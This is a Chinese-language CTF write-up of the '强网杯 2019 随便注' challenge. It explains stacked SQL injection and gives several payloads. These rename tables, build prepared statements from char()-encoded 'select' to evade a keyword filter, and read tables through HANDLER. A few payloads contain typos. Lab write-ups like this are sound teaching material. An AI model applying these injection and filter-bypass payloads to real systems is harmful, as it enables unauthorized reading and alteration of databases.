首页 > 技术文章 > 【SQL注入】---[强网杯 2019]随便注---day01

darkerg 2021-05-18 09:37 原文

一、界面

image

二、常规思路

1、判断注入

image
报错,存在注入点。

2、看有多少字段

image
image
说明有两个字段

3、查看数据库

image
不给看,补充preg_match()函数:
image
这里就是过滤了一些关键字。

三、堆叠注入

1、堆叠注入概念

①原理

在SQL语句执行的过程当中,分好表示一条语句的结束。如果在分好后面再加一条语句,这条语句也可以被执行的话,可以再加。这样就可以一次执行多条语句。

②例子

mysql> select * from users where id=1;show database;

2、实践

①数据库

image

②表信息

image

③字段名

准备查看1919……这个表的字段名,发现

1';show colunms from 1919……;#

没有回显,百度一波。
有人这样说:

https://www.cnblogs.com/wjw-zm/p/12359735.html

image

MySQL中反引号和单引号的区别与用法
    MySql 中用一对反引号来标注 SQL 语句中的标识,如数据库名、表名、字段名等
    引号则用来标注语句中所引用的字符型常量或日期/时间型常量,即字段值
    例如:
	select * from `username` where `name`="peri0d"
1';show columns from `1919810931114514`; --+

image
可以看到flag就在这个表的下面。

③使用desc降序来查看表结构

1';desc words;

image

1';desc `1919810931114514`;#

四、解题

1、方法一 重命名

①1' or 1=1#

发现输出了所有信息
image
而这个信息,是words表中的。
查询语句可能是:

select id,data from words where id=

②把words表命名为words1,再重命名表1919为words,把列名flag改成id,配合1' or 1=1--+输出表的所有内容,来获取flag。

1';
rename table words to words1;
rename table `1919810931114514` to words;
alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
desc  words;#

image

1' or 1=1#

image

③SQL ALTER TABLE语句

alter table 语句用于再已经有的表中添加、修改或删除列。
image

2、方法二 预定义绕过select

在上面的测试中,我们知道题目过滤了select,那么如果无法使用select的话,获取不了flag,怎么办呢?

①SQL语句预编译

    SQL 语句的执行处理
    1、即时 SQL
      一条 SQL 在 DB 接收到最终执行完毕返回,大致的过程如下:

      1. 词法和语义解析;
      2. 优化 SQL 语句,制定执行计划;
      3. 执行并返回结果;
    如上,一条 SQL 直接是走流程处理,一次编译,单次运行,此类普通语句被称作 Immediate Statements (即时 SQL)。

    2、预处理 SQL
      但是,绝大多数情况下,某需求某一条 SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
      所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements。
      预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。

②预处理SQL

a.预处理流程

SET;									# 用于设置变量名和值
PREPARE stmt_name FROM preparable_stmt;	# 用于预备一个语句,并赋予名称,以后可以引用该语句
EXECUTE stmt_name;			 			# 执行语句
{DEALLOCATE | DROP} PREPARE stmt_name;	# 用来释放掉预处理的语句

b.payload1:使用变量

1';
set @sql=CONCAT('se','lect * from `1919810931114514`;');#注意闭合
prepare stmt from sql;
ececute stmt;

image
了解一下strstr()函数,
image
区分大小写:
image
那么把SET,和PREPARE改成大写。

1';
SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');
PREPARE  stmt @sqli;
EXECUTE stmt;#

这里的char(115,101,108,101,99,116)
就是'select',通过把select的ASCII码转换成select字符串,然后利用concat()函数进行拼接就得到了select查询语句,来绕过过滤。

c.payload2:不使用变量

1';
PREPARE stmt from concat(char(115,101,108,101,99,116),' * from `1919810931114514`');
EXECUTE stmtl#

d.payload3:单纯拼接

1';
PREPARE sqli from concat('s','elect', ' * from `1919810931114514` ');
EXECUTE sqli;#

3、方法三 handler

参考:

https://www.cnblogs.com/chalan630/p/12583667.html

image
payload:

1';
handler `1919810931114514` open;
handler `1919810931114514` read first;-- +

五、产生堆叠注入的原因

危险函数
mysqli_multi_query()
image

推荐阅读